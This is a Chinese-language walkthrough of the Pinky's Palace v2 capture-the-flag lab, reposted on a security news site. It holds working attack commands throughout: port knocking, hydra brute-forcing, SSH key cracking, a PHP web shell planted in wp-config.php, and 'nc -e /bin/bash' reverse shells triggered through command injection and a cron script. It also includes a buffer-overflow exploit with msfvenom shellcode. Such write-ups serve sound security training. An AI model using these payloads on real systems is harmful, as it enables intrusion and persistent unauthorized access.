靶场奇妙记之Pinkys-Palace2缓冲溢出

admin 2025年2月11日00:04:35评论7 views字数 5194阅读17分18秒阅读模式

Pinkys-Palace2

靶机提醒

靶场奇妙记之Pinkys-Palace2缓冲溢出

Wordpress 将无法正确呈现。您需要使用控制台上显示的 IP 更改主机文件:echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts

扫描网段

nmap -sP 192.168.20.0/24
  Nmap scan report for 192.168.20.137

靶机IP为:192.168.20.137

靶场奇妙记之Pinkys-Palace2缓冲溢出

扫描端口

nmap -sV -O -p- 192.168.20.137
  80/tcp open http Apache httpd 2.4.25 ((Debian))
  4655/tcp filtered unknown
  7654/tcp filtered unknown
  31337/tcp filtered Elite
  OS details: Linux 3.2 - 4.9

扫描到4个端口,其中3个关闭状态,系统为linux

靶场奇妙记之Pinkys-Palace2缓冲溢出

更改主机host文件

echo 192.168.20.137 pinkydb | sudo tee -a /etc/hosts
靶场奇妙记之Pinkys-Palace2缓冲溢出

枚举目录

dirb http://192.168.20.137/

枚举到secret,secret,wordpress,wp-admin,wp-content,wp-includes目录

靶场奇妙记之Pinkys-Palace2缓冲溢出

访问secret目录

http://192.168.20.137/secret/

发现bambam.txt文件

靶场奇妙记之Pinkys-Palace2缓冲溢出

打开bambam.txt文件

8890
7000
666
pinkydb
靶场奇妙记之Pinkys-Palace2缓冲溢出

端口敲门

nc -vz pinkydb 7000
nc -vz pinkydb 666
nc -vz pinkydb 8890

按顺序敲门,端口才会开启

靶场奇妙记之Pinkys-Palace2缓冲溢出

扫描端口

nmap -A -p- pinkydb
  80/tcp open http
  4655/tcp open ssh
  7654/tcp open http
  31337/tcp open Elite?

剩下3个端口已开放

靶场奇妙记之Pinkys-Palace2缓冲溢出

Web访问7654端口

http://pinkydb:7654/
靶场奇妙记之Pinkys-Palace2缓冲溢出

cewl生成字典

cewl http://pinkydb > 1.txt

使用cewl对靶机站点生成了一个单词列表

靶场奇妙记之Pinkys-Palace2缓冲溢出

弱口令爆破

hydra -L 1.txt -P 1.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"

弱口令:pinky/Passione

靶场奇妙记之Pinkys-Palace2缓冲溢出

登录pinky用户

靶场奇妙记之Pinkys-Palace2缓冲溢出

获得用户名:stefano

获得私钥,需要密码

靶场奇妙记之Pinkys-Palace2缓冲溢出
靶场奇妙记之Pinkys-Palace2缓冲溢出

暴力破解密码

使用ssh2john把私钥的hash提取出来

mv /home/kali/下载/id_rsa ./
ssh2john id_rsa > id_rsa_hash

使用john破解密码

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash

私钥密码:secretz101

靶场奇妙记之Pinkys-Palace2缓冲溢出

修改密钥权限

chmod 600 id_rsa
靶场奇妙记之Pinkys-Palace2缓冲溢出

ssh登录

登录stefano用户

ssh -i id_rsa [email protected] -p 4655

登录成功

靶场奇妙记之Pinkys-Palace2缓冲溢出

查看家目录

ls -al
  发现tools目录

cd tools
ls -al
  -rw-r--r-- 1 stefano stefano 65 Mar 16 2018 note.txt
  -rwsr----x 1 pinky www-data 13384 Mar 16 2018 qsub

发现suid文件

靶场奇妙记之Pinkys-Palace2缓冲溢出

查看note.txt文件

cat note.txt

Pinky made me this program so I can easily send messages to him.

Pinky 为我制作了这个程序,这样我就可以轻松地向他发送消息。

靶场奇妙记之Pinkys-Palace2缓冲溢出

运行qsub程序

./qsub
  ./qsub <Message>

需输入数据

靶场奇妙记之Pinkys-Palace2缓冲溢出

尝试缓冲溢出

正常输入

需输入密码

靶场奇妙记之Pinkys-Palace2缓冲溢出

注入脏数据

Bad hacker! Go away!

坏黑客!走开!

靶场奇妙记之Pinkys-Palace2缓冲溢出

寻找www用户的可写入文件

cd /var/www
find . -perm -o=w

./html/apache/wp-config.php

在/var/www/html/apache/目录有wp-config.php文件可写入

靶场奇妙记之Pinkys-Palace2缓冲溢出

文件添加一句话

vim /var/www/html/apache/wp-config.php
  system($_GET[cmd]);
靶场奇妙记之Pinkys-Palace2缓冲溢出

监听端口

nc -lnvvp 8888

反弹shell

访问wp-config.php页面执行rce反弹shell

http://pinkydb/wp-config.php?cmd=nc -e /bin/bash 192.168.20.100 8888

反弹成功

提升交互性

python -c 'import pty;pty.spawn("/bin/bash")'
靶场奇妙记之Pinkys-Palace2缓冲溢出

查看qsub程序文件

cat /home/stefano/tools/qsub

可读字符串发现TERM[+]环境变量

靶场奇妙记之Pinkys-Palace2缓冲溢出

stefano用户查看环境变量

echo$TERM
  xterm-256color

qsub程序的password

靶场奇妙记之Pinkys-Palace2缓冲溢出

kali监听端口

nc -lnvvp 9999
靶场奇妙记之Pinkys-Palace2缓冲溢出

靶机运行qsub程序反弹shell

cd /home/stefano/tools
./qsub '$(nc -e /bin/bash 192.168.20.100 9999)'
xterm-256color

反弹成功

靶场奇妙记之Pinkys-Palace2缓冲溢出

kali创建ssh证书

mkdir ssh1
cd ssh1
ssh-keygen
./id_rsa,空密码
mv id_rsa.pub authorized_keys
chmod 600 id_rsa
靶场奇妙记之Pinkys-Palace2缓冲溢出

打开apache传输文件

systemctl start apache2.service
cp authorized_keys /var/www/html
ls -l /var/www/html
靶场奇妙记之Pinkys-Palace2缓冲溢出

靶机下载公钥

python -c 'import pty;pty.spawn("/bin/bash")'
cd /home/pinky
mkdir .ssh
cd .ssh
wget http://192.168.20.100/authorized_keys
靶场奇妙记之Pinkys-Palace2缓冲溢出

kali使用ssh登录pinky用户

ssh -i id_rsa [email protected] -p 4655

登录成功

靶场奇妙记之Pinkys-Palace2缓冲溢出

查找可写入文件

find / -writable ! -path '/run/*' ! -path '/lib/*' ! -path '/sys/*' ! -path '/proc/*' ! -path '/dev/*' 2>/dev/null
  /usr/local/bin/backup.sh

backup.sh文件可写入

靶场奇妙记之Pinkys-Palace2缓冲溢出

查看backup.sh

ls -l /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh

是demon用户的文件,但是pinky有全部的权限,备份文件可能存在定时任务

靶场奇妙记之Pinkys-Palace2缓冲溢出

文件添加反弹shell

echo'nc -e /bin/bash 192.168.20.100 6666' >> /usr/local/bin/backup.sh
靶场奇妙记之Pinkys-Palace2缓冲溢出

监听端口

nc -nlvvp 6666

等待反弹shell成功

提高交互性

python -c 'import pty;pty.spawn("/bin/bash")'

切换ssh

mkdir .ssh
cd .ssh
wget http://192.168.20.100/authorized_keys

demon用户下载ssh公钥

靶场奇妙记之Pinkys-Palace2缓冲溢出

kali使用ssh登录demon用户

cd ssh1
ssh -i id_rsa [email protected] -p 4655
靶场奇妙记之Pinkys-Palace2缓冲溢出

查找可写入文件

find / -writable ! -path '/run/*' ! -path '/lib/*' ! -path '/sys/*' ! -path '/home/*' 2>/dev/null

/daemon/panel

靶场奇妙记之Pinkys-Palace2缓冲溢出

查看panel文件

ls -al /daemon/panel
cat /daemon/panel

二进制文件

靶场奇妙记之Pinkys-Palace2缓冲溢出

查看进程

ps -ef | grep panel

root运行panel程序

靶场奇妙记之Pinkys-Palace2缓冲溢出

nc传输panel文件

kali监听:nc -nlvp 1111 > panel

靶机传输:
cd /daemon
  nc 192.168.20.100 1111 < panel
靶场奇妙记之Pinkys-Palace2缓冲溢出

使用gdb调试panel

chmod 777 panel
gdb panel
run
靶场奇妙记之Pinkys-Palace2缓冲溢出

查看端口开放

netstat -antlp

31337端口对应靶机开放的端口

靶场奇妙记之Pinkys-Palace2缓冲溢出

关闭程序

pkill -9 panel; pkill -i panel

在每次溢出时重启程序

靶场奇妙记之Pinkys-Palace2缓冲溢出

设置gdb

set follow-fork-mode child
set detach-on-fork off
run

让gdb跟踪子进程,再将父进程设置为暂停状态。

靶场奇妙记之Pinkys-Palace2缓冲溢出

判断溢出

echo $(python -c "print('A' * 200)") | nc 127.0.0.1 31337

溢出到handlecmd()

echo $(python -c "print('A' * 150)") | nc 127.0.0.1 31337

溢出到handlecmd()

靶场奇妙记之Pinkys-Palace2缓冲溢出
echo $(python -c "print('A' * 120)") | nc 127.0.0.1 31337

溢出到??

靶场奇妙记之Pinkys-Palace2缓冲溢出
echo $(python -c "print('A' * 110)") | nc 127.0.0.1 31337

未溢出

靶场奇妙记之Pinkys-Palace2缓冲溢出
echo $(python -c "print('A' * 115)") | nc 127.0.0.1 31337

溢出到mian()

echo $(python -c "print('A' * 112)") | nc 127.0.0.1 31337

未溢出

echo $(python -c "print('A' * 113)") | nc 127.0.0.1 31337

溢出到mian()

112后开始溢出

靶场奇妙记之Pinkys-Palace2缓冲溢出

找到RIP

并分析shellcode位置

echo $(python -c "print('A' * 112 + 'B' * 4 + 'C' * 4 + 'D' * 4)") | nc 127.0.0.1 31337

RSP可以调用完整的shellcode的地址

DDDD刚好位于RIP,也就是120位之后

靶场奇妙记之Pinkys-Palace2缓冲溢出

查看寄存器和堆栈

jmpcall
  0x400728 : call rax
  0x400895 : jmp rax
  0x4008e3 : jmp rax
  0x40092e : call rax
  0x400cfb : call rsp
  0x400d6b : call [rax]
靶场奇妙记之Pinkys-Palace2缓冲溢出

Msf生成shellcode

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f python -b "x00" -a x64
靶场奇妙记之Pinkys-Palace2缓冲溢出

计算shellcode的长度

119,刚刚好RSP的位置

靶场奇妙记之Pinkys-Palace2缓冲溢出
靶场奇妙记之Pinkys-Palace2缓冲溢出

监听端口

nc nlvvp 8888

构造payload

echo'x48x31xc9x48x81xe9xf6xffxffxffx48x8dx05xefxffxffxffx48xbbxbfxd5x78x95x9cx60xeexeax48x31x58x27x48x2dxf8xffxffxffxe2xf4xd5xfcx20x0cxf6x62xb1x80xbex8bx77x90xd4xf7xa6x53xbdxd5x5ax2dx5cxc8xfax8exeex9dxf1x73xf6x70xb4x80x95x8dx77x90xf6x63xb0xa2x40x1bx12xb4xc4x6fxebx9fx49xbfx43xcdx05x28x55xc5xddxbcx16xbaxefx08xeexb9xf7x5cx9fxc7xcbx28x67x0cxb0xd0x78x95x9cx60xeexeax90xfbx0cx40x00' | nc 127.0.0.1 31337

反弹shell

成功

靶场奇妙记之Pinkys-Palace2缓冲溢出

讲exp运用到靶机

监听端口

nc -nlvvp 8888

反弹shell

echo'x48x31xc9x48x81xe9xf6xffxffxffx48x8dx05xefxffxffxffx48xbbxbfxd5x78x95x9cx60xeexeax48x31x58x27x48x2dxf8xffxffxffxe2xf4xd5xfcx20x0cxf6x62xb1x80xbex8bx77x90xd4xf7xa6x53xbdxd5x5ax2dx5cxc8xfax8exeex9dxf1x73xf6x70xb4x80x95x8dx77x90xf6x63xb0xa2x40x1bx12xb4xc4x6fxebx9fx49xbfx43xcdx05x28x55xc5xddxbcx16xbaxefx08xeexb9xf7x5cx9fxc7xcbx28x67x0cxb0xd0x78x95x9cx60xeexeax90xfbx0cx40x00' | nc 192.168.20.137 31337

提权成功

靶场奇妙记之Pinkys-Palace2缓冲溢出

靶场奇妙记之Pinkys-Palace2缓冲溢出

原文始发于微信公众号(泷羽Sec-Ceo):靶场奇妙记之Pinkys-Palace2缓冲溢出

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月11日00:04:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场奇妙记之Pinkys-Palace2缓冲溢出https://cn-sec.com/archives/3724502.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息